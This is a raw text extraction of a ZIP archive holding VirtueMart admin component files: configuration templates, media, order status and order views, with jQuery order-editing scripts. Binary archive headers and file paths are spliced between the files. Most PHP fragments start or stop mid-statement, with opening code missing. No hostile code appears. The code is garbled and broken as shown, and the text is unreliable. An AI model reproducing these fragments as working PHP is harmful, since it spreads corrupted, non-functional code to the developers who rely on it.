      JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_NONE'), 'disableit' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT'), 'disableit_children' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT_CHILDREN'), 'disableadd' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_ADD'), 'risetime' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_RISE_AVATIME') ); echo VmHTML::radioList('stockhandle', VmConfig::get('stockhandle', 'none'), $options); ?>
      imagePath); ?>
      <?php echo JText::_('COM_VIRTUEMART_PREVIEW'); ?>
      JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_NONE'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_REGISTERED'), 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_ALL') ); //showReviewFor echo VmHTML::radioList('showReviewFor', VmConfig::get('showReviewFor', 'all'), $showReviewFor); ?>
      JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_NONE'), 'bought' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_BOUGHT_PRODUCT'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_REGISTERED') // 3 => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_ALL') ); echo VmHTML::radioList('reviewMode', VmConfig::get('reviewMode', 'bought'), $showReviewFor); ?>
      JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_NONE'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_REGISTERED'), 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_ALL') ); echo VmHTML::radioList('showRatingFor', VmConfig::get('showRatingFor', 'all'), $showReviewFor); ?>
      JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_NONE'), 'bought' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_BOUGHT_PRODUCT'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_REGISTERED') // 3 => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_ALL') //TODO write system for all users (cookies) ); echo VmHTML::radioList('ratingMode', VmConfig::get('ratingMode', 'bought'), $showReviewFor); ?>
      orderStatusModel->renderOSList(VmConfig::get('rr_os',array('C')),'rr_os',TRUE); ?>
      PKtl>\Wcjcjecom_virtuemart_update/administrator/components/com_virtuemart/views/config/tmpl/default_templates.phpnuW+A
      jTemplateList, 'vmtemplate', 'size=1 width=200', 'value', 'name', VmConfig::get('vmtemplate', 'default')); ?>
      jTemplateList, 'categorytemplate', 'size=1', 'value', 'name', VmConfig::get('categorytemplate', 'default')); ?>
      categoryLayoutList, 'categorylayout', 'size=1', 'value', 'text', VmConfig::get('categorylayout', 0)); ?>
      productLayoutList, 'productlayout', 'size=1', 'value', 'text', VmConfig::get('productlayout', 0)); ?>
      noimagelist, 'no_image_set', 'size=1', 'value', 'text', VmConfig::get('no_image_set')); ?>
      noimagelist, 'no_image_found', 'size=1', 'value', 'text', VmConfig::get('no_image_found')); ?>
      vmLayoutList, 'vmlayout', 'size=1', 'value', 'text', VmConfig::get('vmlayout', 0)); ?>
      PKtl>\)*[`com_virtuemart_update/administrator/components/com_virtuemart/views/config/tmpl/default_shop.phpnuW+A
      currConverterList, 'currency_converter_module', 'size=1', 'value', 'text', VmConfig::get('currency_converter_module', 'convertECB.php')); ?>
      activeLanguages; ?> Translations'); ?>
      JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_NONE'), 'admin' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ADMIN'), 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL') ); echo VmHTML::radioList('debug_enable', VmConfig::get('debug_enable', 'none'), $options); ?>
      JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_NONE'), 'admin' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_ADMIN') // 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL') ); echo VmHTML::radioList('multix', VmConfig::get('multix', 'none'), $options); ?>
      PKtl>\)Tcom_virtuemart_update/administrator/components/com_virtuemart/views/config/.htaccessnuW+A Order allow,deny Deny from all PKtl>\(&&Wcom_virtuemart_update/administrator/components/com_virtuemart/views/media/view.html.phpnuW+AassignRef('vendorId', $vendorId); // TODO add icon for media view $this->SetViewTitle(); $model = VmModel::getModel('media'); $perms = Permissions::getInstance(); $this->assignRef('perms', $perms); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $media = $model->getFile(); $this->assignRef('media', $media); $isNew = ($media->virtuemart_media_id < 1); $this->addStandardEditViewCommands(); } else { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $cat_id = JRequest::getInt('virtuemart_category_id',0); JToolBarHelper::customX('synchronizeMedia', 'new', 'new', JText::_('COM_VIRTUEMART_TOOLS_SYNC_MEDIA_FILES'),false); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model,null,null,'searchMedia'); $options = array( '' => JText::_('COM_VIRTUEMART_LIST_ALL_TYPES'), 'product' => JText::_('COM_VIRTUEMART_PRODUCT'), 'category' => JText::_('COM_VIRTUEMART_CATEGORY'), 'manufacturer' => JText::_('COM_VIRTUEMART_MANUFACTURER'), 'vendor' => JText::_('COM_VIRTUEMART_VENDOR') ); $this->lists['search_type'] = VmHTML::selectList('search_type', JRequest::getVar('search_type'),$options,1,'','onchange="this.form.submit();"'); $options = array( '' => JText::_('COM_VIRTUEMART_LIST_ALL_ROLES'), 'file_is_displayable' => JText::_('COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE'), 'file_is_downloadable' => JText::_('COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE'), 'file_is_forSale' => JText::_('COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE'), ); $this->lists['search_role'] = VmHTML::selectList('search_role', JRequest::getVar('search_role'),$options,1,'','onchange="this.form.submit();"'); $files = $model->getFiles(false,false,$virtuemart_product_id,$cat_id); $this->assignRef('files', $files); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tagPKtl>\蠘Wcom_virtuemart_update/administrator/components/com_virtuemart/views/media/view.json.phpnuW+AsetMimeEncoding( 'application/json' ); if ($virtuemart_media_id = JRequest::getInt('virtuemart_media_id')) { //JResponse::setHeader( 'Content-Disposition', 'attachment; filename="media'.$virtuemart_media_id.'.json"' ); $model = VmModel::getModel('Media'); $image = $model->createMediaByIds($virtuemart_media_id); // echo '
      '.print_r($image,1).'
      '; $this->json = $image[0]; //echo json_encode($this->json); if (isset($this->json->file_url)) { $this->json->file_root = JURI::root(true).'/'; $this->json->msg = 'OK'; echo @json_encode($this->json); } else { $this->json->msg = ''.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').''; echo @json_encode($this->json); } } else { if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $start = JRequest::getInt('start',0); $type = JRequest::getWord('mediatype',0); $list = VmMediaHandler::displayImages($type,$start ); echo @json_encode($list); } jExit(); } } // pure php no closing tag PKtl>\~JWcom_virtuemart_update/administrator/components/com_virtuemart/views/media/tmpl/edit.phpnuW+A'; echo '
      '; $this->media->addHidden('view','media'); $this->media->addHidden('task',''); $this->media->addHidden(JUtility::getToken(),1); $this->media->addHidden('file_type',$this->media->file_type); $virtuemart_product_id = JRequest::getInt('virtuemart_product_id', ''); if(!empty($virtuemart_product_id)) $this->media->addHidden('virtuemart_product_id',$virtuemart_product_id); $virtuemart_category_id = JRequest::getInt('virtuemart_category_id', ''); if(!empty($virtuemart_category_id)) $this->media->addHidden('virtuemart_category_id',$virtuemart_category_id); echo $this->media->displayFileHandler(); echo '
      '; echo ''; AdminUIHelper::imitateTabs('end'); AdminUIHelper::endAdminArea(); PKtl>\#o,,Ycom_virtuemart_update/administrator/components/com_virtuemart/views/media/tmpl/index.htmlnuW+APKtl>\)Xcom_virtuemart_update/administrator/components/com_virtuemart/views/media/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\]DZcom_virtuemart_update/administrator/components/com_virtuemart/views/media/tmpl/default.phpnuW+A
      files; //$roles = $this->productfilesroles; ?> 0) { $i = 0; $k = 0; foreach ($productfileslist as $key => $productfile) { $checked = JHTML::_('grid.id', $i , $productfile->virtuemart_media_id,null,'virtuemart_media_id'); if (!is_null($productfile->virtuemart_media_id)) $published = JHTML::_('grid.published', $productfile, $i ); else $published = ''; ?> limitstart."&keyword=".urlencode($keyword)."&option=".$option; ?> virtuemart_media_id; ?>
      sort('file_title', 'COM_VIRTUEMART_FILES_LIST_FILETITLE') ?> sort('file_type', 'COM_VIRTUEMART_FILES_LIST_ROLE') ?> sort('published', 'COM_VIRTUEMART_PUBLISHED'); ?> sort('virtuemart_media_id', 'COM_VIRTUEMART_ID') ?>
      product_name)? '': $productfile->product_name); ?> file_title, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$productfile->file_title)); ?> file_is_product_image)) echo JText::_('COM_VIRTUEMART_'.strtoupper($productfile->file_type).'_IMAGE') ; if(!empty($productfile->file_is_downloadable)) echo JText::_('COM_VIRTUEMART_DOWNLOADABLE') ; if(!empty($productfile->file_is_forSale)) echo JText::_('COM_VIRTUEMART_FOR_SALE'); ?> displayMediaThumb(); ?> file_name; ?> file_extension; ?> virtuemart_media_id; ?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PKtl>\)Scom_virtuemart_update/administrator/components/com_virtuemart/views/media/.htaccessnuW+A Order allow,deny Deny from all PKtl>\#o,,Tcom_virtuemart_update/administrator/components/com_virtuemart/views/media/index.htmlnuW+APKtl>\8 ]com_virtuemart_update/administrator/components/com_virtuemart/views/orderstatus/view.html.phpnuW+A 'COM_VIRTUEMART_ORDER_STATUS_STOCK_AVAILABLE', 'R' => 'COM_VIRTUEMART_ORDER_STATUS_STOCK_RESERVED', 'O' => 'COM_VIRTUEMART_ORDER_STATUS_STOCK_OUT' ); if ($layoutName == 'edit') { $orderStatus = $model->getData(); $this->SetViewTitle('',JText::_($orderStatus->order_status_name) ); if ($orderStatus->virtuemart_orderstate_id < 1) { $this->assignRef('ordering', JText::_('COM_VIRTUEMART_NEW_ITEMS_PLACE')); } else { // Ordering dropdown $qry = 'SELECT ordering AS value, order_status_name AS text' . ' FROM #__virtuemart_orderstates' . ' ORDER BY ordering'; $ordering = JHTML::_('list.specificordering', $orderStatus, $orderStatus->virtuemart_orderstate_id, $qry); $this->assignRef('ordering', $ordering); } $lists['vmCoreStatusCode'] = $model->getVMCoreStatusCode(); $this->assignRef('stockHandelList', $stockHandelList); // Vendor selection $vendor_model = VmModel::getModel('vendor'); $vendor_list = $vendor_model->getVendors(); $lists['vendors'] = JHTML::_('select.genericlist', $vendor_list, 'virtuemart_vendor_id', '', 'virtuemart_vendor_id', 'vendor_name', $orderStatus->virtuemart_vendor_id); $this->assignRef('orderStatus', $orderStatus); $this->assignRef('lists', $lists); $this->addStandardEditViewCommands(); } else { $this->SetViewTitle(''); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $this->lists['vmCoreStatusCode'] = $model->getVMCoreStatusCode(); $orderStatusList = $model->getOrderStatusList(); $this->assignRef('orderStatusList', $orderStatusList); $this->assignRef('stockHandelList', $stockHandelList); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } //No Closing Tag PKtl>\Zcom_virtuemart_update/administrator/components/com_virtuemart/views/orderstatus/index.htmlnuW+APKtl>\&9`com_virtuemart_update/administrator/components/com_virtuemart/views/orderstatus/tmpl/default.phpnuW+A
      lists['vmCoreStatusCode']; for ($i = 0, $n = count($this->orderStatusList); $i < $n; $i++) { $row = $this->orderStatusList[$i]; $published = JHTML::_('grid.published', $row, $i ); $checked = JHTML::_('grid.id', $i, $row->virtuemart_orderstate_id); $coreStatus = (in_array($row->order_status_code, $this->lists['vmCoreStatusCode'])); $image = ((JVM_VERSION===1)) ? 'checked_out.png' : 'admin/checked_out.png'; $image = JHtml::_('image.administrator', $image, '/images/', null, null, JText::_('COM_VIRTUEMART_ORDER_STATUS_CODE_CORE')); $checked = ($coreStatus) ? ''. $image .'' : JHTML::_('grid.id', $i, $row->virtuemart_orderstate_id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=orderstatus&task=edit&cid[]=' . $row->virtuemart_orderstate_id); $deletelink = JROUTE::_('index.php?option=com_virtuemart&view=orderstatus&task=remove&cid[]=' . $row->virtuemart_orderstate_id); $ordering = $row->ordering ; ?>
      sort('order_status_name') ?> sort('order_status_code') ?> sort('ordering') ?> orderStatusList ); ?> sort('virtuemart_orderstate_id', 'COM_VIRTUEMART_ID') ?>
      hasKey($row->order_status_name)) { echo ''. vmText::_($row->order_status_name) .' ('.$row->order_status_name.')'; } else { echo ''. $row->order_status_name .' '; } ?> order_status_code; ?> stockHandelList[$row->order_stock_handle]); ?> order_status_description); ?> pagination->orderUpIcon($i, true, 'orderUp', JText::_('COM_VIRTUEMART_MOVE_UP')); ?> pagination->orderDownIcon( $i, $n, true, 'orderDown', JText::_('COM_VIRTUEMART_MOVE_DOWN')); ?> virtuemart_orderstate_id; ?>
      addStandardHiddenToForm(); ?>
      PKtl>\P ]com_virtuemart_update/administrator/components/com_virtuemart/views/orderstatus/tmpl/edit.phpnuW+A
      orderStatus->order_status_code, $this->lists['vmCoreStatusCode'])); $orderStatusCodeTip = ($editcoreStatus) ? 'COM_VIRTUEMART_ORDER_STATUS_CODE_CORE' : 'COM_VIRTUEMART_ORDER_STATUS_CODE_TIP'; if ($editcoreStatus) { $readonly = 'readonly'; } else { $readonly = ''; } ?> hasKey($this->orderStatus->order_status_name) ? ' (' . JText::_($this->orderStatus->order_status_name) . ')' : ' '; echo VmHTML::row('input', 'COM_VIRTUEMART_ORDER_STATUS_NAME', 'order_status_name', $this->orderStatus->order_status_name, 'class="inputbox"', '', 50, 50, $text); ?> stockHandelList ,$this->orderStatus->order_stock_handle,'','value', 'text',false) ; ?> orderStatus->order_status_code, 'class="inputbox '.$readonly.'" '.$readonly.'', '', 3, 1); ?> orderStatus->order_status_description, '100%;', '250', array('image', 'pagebreak', 'readmore')); ?> lists['vendors']); ?> ordering); ?>
      addStandardHiddenToForm(); ?>
      PKtl>\_com_virtuemart_update/administrator/components/com_virtuemart/views/orderstatus/tmpl/index.htmlnuW+APKtl>\)^com_virtuemart_update/administrator/components/com_virtuemart/views/orderstatus/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\)Ycom_virtuemart_update/administrator/components/com_virtuemart/views/orderstatus/.htaccessnuW+A Order allow,deny Deny from all PKtl>\d?''Zcom_virtuemart_update/administrator/components/com_virtuemart/views/orders/tmpl/orders.phpnuW+A
      orderslist) > 0) { $i = 0; $k = 0; $keyword = JRequest::getWord ('keyword'); foreach ($this->orderslist as $key => $order) { $checked = JHTML::_ ('grid.id', $i, $order->virtuemart_order_id); ?> virtuemart_order_id; ?> virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass; $print_link = ""; $print_link .= ' '; $invoice_link = ''; $deliverynote_link = ''; if (!$order->invoiceNumber) { $invoice_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=invoice&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass . '&create_invoice=1'; $invoice_link .= "".''; } elseif (!shopFunctions::InvoiceNumberReserved ($order->invoiceNumber)) { $invoice_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=invoice&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass; $invoice_link = "" . ''; } if (!$order->invoiceNumber) { $deliverynote_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=deliverynote&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass . '&create_invoice=1'; $deliverynote_link = "" . ''; } elseif (!shopFunctions::InvoiceNumberReserved ($order->invoiceNumber)) { $deliverynote_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=deliverynote&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass; $deliverynote_link = "" . ''; } ?>
      sort ('order_number', 'COM_VIRTUEMART_ORDER_LIST_NUMBER') ?> sort ('order_name', 'COM_VIRTUEMART_ORDER_PRINT_NAME') ?> sort ('order_email', 'COM_VIRTUEMART_EMAIL') ?> sort ('payment_method', 'COM_VIRTUEMART_ORDER_PRINT_PAYMENT_LBL') ?> sort ('created_on', 'COM_VIRTUEMART_ORDER_CDATE') ?> sort ('modified_on', 'COM_VIRTUEMART_ORDER_LIST_MDATE') ?> sort ('order_status', 'COM_VIRTUEMART_STATUS') ?> sort ('order_total', 'COM_VIRTUEMART_TOTAL') ?> sort ('virtuemart_order_id', 'COM_VIRTUEMART_ORDER_LIST_ID') ?>
      order_number, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER') . ' ' . $order->order_number)); ?> virtuemart_user_id) { $userlink = JROUTE::_ ('index.php?option=com_virtuemart&view=user&task=edit&virtuemart_user_id[]=' . $order->virtuemart_user_id, FALSE); echo JHTML::_ ('link', JRoute::_ ($userlink, FALSE), $order->order_name, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_USER') . ' ' . $order->order_name)); } else { echo $order->order_name; } ?> order_email; ?> payment_method; ?> created_on, 'LC2', TRUE); ?> modified_on, 'LC2', TRUE); ?> orderstatuses, "orders[" . $order->virtuemart_order_id . "][order_status]", 'class="orderstatus_select"', 'order_status_code', 'order_status_name', $order->order_status, 'order_status' . $i, TRUE); ?>
      'show_comment')); ?>
      virtuemart_order_id . '][customer_notified]', 0) . JText::_ ('COM_VIRTUEMART_ORDER_LIST_NOTIFY'); ?>
         virtuemart_order_id . '][customer_send_comment]', 1) . JText::_ ('COM_VIRTUEMART_ORDER_HISTORY_INCLUDE_COMMENT'); ?>
      virtuemart_order_id . '][update_lines]', 1) . JText::_ ('COM_VIRTUEMART_ORDER_UPDATE_LINESTATUS'); ?>
      order_total; ?> virtuemart_order_id, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_ORDER_ID') . ' ' . $order->virtuemart_order_id)); ?>
      pagination->getListFooter (); ?>
      addStandardHiddenToForm (); ?>
      PKtl>\&z33_com_virtuemart_update/administrator/components/com_virtuemart/views/orders/tmpl/order_print.phpnuW+A\X8 Ycom_virtuemart_update/administrator/components/com_virtuemart/views/orders/tmpl/order.phpnuW+AaddScriptDeclaration ( " jQuery( function($) { $('.orderedit').hide(); $('.ordereditI').show(); $('.orderedit').css('backgroundColor', 'lightgray'); jQuery('.updateOrderItemStatus').click(function() { document.orderItemForm.task.value = 'updateOrderItemStatus'; document.orderItemForm.submit(); return false }); jQuery('select#virtuemart_paymentmethod_id').change(function(){ jQuery('span#delete_old_payment').show(); jQuery('input#delete_old_payment').attr('checked','checked'); }); }); function enableEdit(e) { jQuery('.orderedit').each( function() { var d = jQuery(this).css('visibility')=='visible'; jQuery(this).toggle(); jQuery('.orderedit').css('backgroundColor', d ? 'white' : 'lightgray'); jQuery('.orderedit').css('color', d ? 'blue' : 'black'); }); jQuery('.ordereditI').each( function() { jQuery(this).toggle(); }); e.preventDefault(); }; function addNewLine(e,i) { var row = jQuery('#itemTable').find('tbody tr:first').html(); var needle = 'item_id['+i+']'; //var needle = new RegExp('item_id['+i+']','igm'); while (row.contains(needle)){ row = row.replace(needle,'item_id[0]'); } //alert(needle); jQuery('#itemTable').find('tbody').prepend(''+row+''); e.preventDefault(); }; function cancelEdit(e) { jQuery('#orderItemForm').each(function(){ this.reset(); }); jQuery('.selectItemStatusCode') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); jQuery('.orderedit').hide(); jQuery('.ordereditI').show(); e.preventDefault(); } function resetOrderHead(e) { jQuery('#orderForm').each(function(){ this.reset(); }); jQuery('select#virtuemart_paymentmethod_id') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); jQuery('select#virtuemart_shipmentmethod_id') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); e.preventDefault(); } "); ?>
        
      orderbt->virtuemart_order_id . '&order_number=' .$this->orderbt->order_number. '&order_pass=' .$this->orderbt->order_pass; $print_link = ""; $print_link .= $this->orderbt->order_number . ' '; ?> orderbt->coupon_code) { ?> orderbt->invoiceNumber and !shopFunctions::InvoiceNumberReserved($this->orderbt->invoiceNumber) ) { $invoice_url = juri::root().'index.php?option=com_virtuemart&view=invoice&layout=invoice&format=pdf&tmpl=component&virtuemart_order_id=' . $this->orderbt->virtuemart_order_id . '&order_number=' .$this->orderbt->order_number. '&order_pass=' .$this->orderbt->order_pass; $invoice_link = ""; $invoice_link .= $this->orderbt->invoiceNumber . '';?>
      orderbt->order_pass;?>
      orderbt->created_on,'LC2',true); ?>
      orderstatuslist[$this->orderbt->order_status]; ?>
      orderbt->company ? $this->orderbt->company." ":""; $username.=$this->orderbt->first_name." ".$this->orderbt->last_name." "; if ($this->orderbt->virtuemart_user_id) { $userlink = JROUTE::_ ('index.php?option=com_virtuemart&view=user&task=edit&virtuemart_user_id[]=' . $this->orderbt->virtuemart_user_id); echo JHTML::_ ('link', JRoute::_ ($userlink), $username, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_USER') . ' ' . $username)); } else { echo $this->orderbt->first_name.' '.$this->orderbt->last_name; } ?>
      orderbt->ip_address; ?>
      orderbt->coupon_code; ?>
      orderdetails['history'] as $this->orderbt_event ) { echo ""; echo "\n"; if ($this->orderbt_event->customer_notified == 1) { echo ''; } else { echo ''; } if(!isset($this->orderstatuslist[$this->orderbt_event->order_status_code])){ if(empty($this->orderbt_event->order_status_code)){ $this->orderbt_event->order_status_code = 'unknown'; } $_orderStatusList[$this->orderbt_event->order_status_code] = JText::_('COM_VIRTUEMART_UNKNOWN_ORDER_STATUS'); } echo ''; echo "\n"; echo "\n"; } ?> trigger('plgVmOnUpdateOrderBEPayment',array($this->orderID)); $_returnValues2 = $_dispatcher->trigger('plgVmOnUpdateOrderBEShipment',array( $this->orderID)); $_returnValues = array_merge($_returnValues1, $_returnValues2); $_plg = ''; foreach ($_returnValues as $_returnValue) { if ($_returnValue !== null) { $_plg .= (' \n"); } } if ($_plg !== '') { echo "\n$_plg\n"; } ?>
      ". vmJsApi::date($this->orderbt_event->created_on,'LC2',true) ."'.JText::_('COM_VIRTUEMART_YES').''.JText::_('COM_VIRTUEMART_NO').''.$this->orderstatuslist[$this->orderbt_event->order_status_code].'".$this->orderbt_event->comments."
      ' . $_returnValue . "
      orderbt->customer_note || true) { ?>
      getPayments(); $model = VmModel::getModel('shipmentmethod'); $shipments = $model->getShipments(); ?>
      virtuemart_paymentmethod_id == $this->orderbt->virtuemart_paymentmethod_id) echo $payment->payment_name; } ?>
      virtuemart_shipmentmethod_id == $this->orderbt->virtuemart_shipmentmethod_id) echo $shipment->shipment_name; } ?>
       
      userfields['fields'] as $_field ) { echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; //*/ /* $fn = $_field['name']; $fv = $_field['value']; $ft = $_field['title']; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n";*/ } ?>
      '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '.$_field['formcode']."\n"; echo '
      '."\n"; echo ' '.$ft."\n"; echo ' '."\n"; echo " \n"; echo '
      shipmentfields['fields'] as $_field ) { echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; } ?>
      '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '.$_field['formcode']."\n"; echo '
      orderdetails['items'] as $item) { ?> virtuemart_order_item_id; ?>" data-itemid="virtuemart_order_item_id; ?>">*/ ?> orderbt->coupon_discount > 0 || $this->orderbt->coupon_discount < 0) { ?> orderdetails['calc_rules'] as $rule){ if ($rule->calc_kind == 'DBTaxRulesBill') { ?> calc_kind == 'taxRulesBill') { ?> calc_kind == 'DATaxRulesBill') { ?> orderbt->user_currency_rate != 1.0) { ?>
      #
      product_quantity; ?> order_item_name; ?> order_item_name; if (!empty($item->product_attribute)) { if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $product_attribute = VirtueMartModelCustomfields::CustomsFieldOrderDisplay($item,'BE'); echo '
      '.$product_attribute.'
      '; } $_dispatcher = JDispatcher::getInstance(); $_returnValues = $_dispatcher->trigger('plgVmOnShowOrderLineBEShipment',array( $this->orderID,$item->virtuemart_order_item_id)); $_plg = ''; foreach ($_returnValues as $_returnValue) { if ($_returnValue !== null) { $_plg .= $_returnValue; } } if ($_plg !== '') { echo '' . '' . '' // Indent . '' . '' . '
      '.$_plg.'
      '; } ?> virtuemart_product_id)) { ?> Product ID:
      order_item_sku; ?> itemstatusupdatefields[$item->virtuemart_order_item_id]; ?> product_discountedPriceWithoutTax = (float) $item->product_discountedPriceWithoutTax; if (!empty($item->product_priceWithoutTax) && $item->product_discountedPriceWithoutTax != $item->product_priceWithoutTax) { echo ''.$this->currency->priceDisplay($item->product_item_price) .'
      '; echo ''.$this->currency->priceDisplay($item->product_discountedPriceWithoutTax) .'
      '; } else { echo ''.$this->currency->priceDisplay($item->product_item_price) .'
      '; } ?>
      currency->priceDisplay($item->product_basePriceWithTax); ?> currency->priceDisplay($item->product_final_price); ?> currency->priceDisplay( $item->product_tax); ?> currency->priceDisplay( $item->product_subtotal_discount); ?> product_basePriceWithTax = (float) $item->product_basePriceWithTax; if(!empty($item->product_basePriceWithTax) && $item->product_basePriceWithTax != $item->product_final_price ) { echo ''.$this->currency->priceDisplay($item->product_basePriceWithTax,$this->currency,$item->product_quantity) .'
      ' ; } elseif (empty($item->product_basePriceWithTax) && $item->product_item_price != $item->product_final_price) { echo '' . $this->currency->priceDisplay($item->product_item_price,$this->currency,$item->product_quantity) . '
      '; } echo $this->currency->priceDisplay($item->product_subtotal_with_tax); ?>
               orderStatSelect; ?>    
      orderbt->virtuemart_order_id.'&orderLineId=0&tmpl=component&task=editOrderItem'); ?>
      :
      currency->priceDisplay($this->orderbt->order_subtotal); ?>     currency->priceDisplay($this->orderbt->order_tax); ?> currency->priceDisplay($this->orderbt->order_discountAmount); ?> currency->priceDisplay($this->orderbt->order_salesPrice); ?>
                currency->priceDisplay($this->orderbt->coupon_discount); ?>
      calc_rule_name ?> currency->priceDisplay($rule->calc_amount); ?> currency->priceDisplay($rule->calc_amount);?>
      calc_rule_name ?> currency->priceDisplay($rule->calc_amount); ?> currency->priceDisplay($rule->calc_amount); ?>
      calc_rule_name ?> currency->priceDisplay($rule->calc_amount); ?> currency->priceDisplay($rule->calc_amount); ?>
      : currency->priceDisplay($this->orderbt->order_shipment); ?>     currency->priceDisplay($this->orderbt->order_shipment_tax); ?>   currency->priceDisplay($this->orderbt->order_shipment+$this->orderbt->order_shipment_tax); ?>
      : currency->priceDisplay($this->orderbt->order_payment); ?>     currency->priceDisplay($this->orderbt->order_payment_tax); ?>   currency->priceDisplay($this->orderbt->order_payment+$this->orderbt->order_payment_tax); ?>
      :       currency->priceDisplay($this->orderbt->order_billTaxAmount); ?> currency->priceDisplay($this->orderbt->order_billDiscountAmount); ?> currency->priceDisplay($this->orderbt->order_total); ?>
      :           orderbt->user_currency_rate ?>
       
      trigger('plgVmOnShowOrderBEShipment',array( $this->orderID,$this->orderbt->virtuemart_shipmentmethod_id, $this->orderdetails)); foreach ($returnValues as $returnValue) { if ($returnValue !== null) { echo $returnValue; } } ?> trigger('plgVmOnShowOrderBEPayment',array( $this->orderID,$this->orderbt->virtuemart_paymentmethod_id, $this->orderdetails)); foreach ($_returnValues as $_returnValue) { if ($_returnValue !== null) { echo $_returnValue; } } ?>
      PKtl>\Zcom_virtuemart_update/administrator/components/com_virtuemart/views/orders/tmpl/index.htmlnuW+APKtl>\ަdcom_virtuemart_update/administrator/components/com_virtuemart/views/orders/tmpl/order_editstatus.phpnuW+AaddScriptDeclaration ( " function cancelOrderStatFormEdit(e) { jQuery('#orderStatForm').each(function(){ this.reset(); }); jQuery('#order_items_status') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); jQuery('div#updateOrderStatus').hide(); e.preventDefault(); } "); ?>

      orderStatSelect; ?>


      orderID.'][update_lines]', true); ?>
            
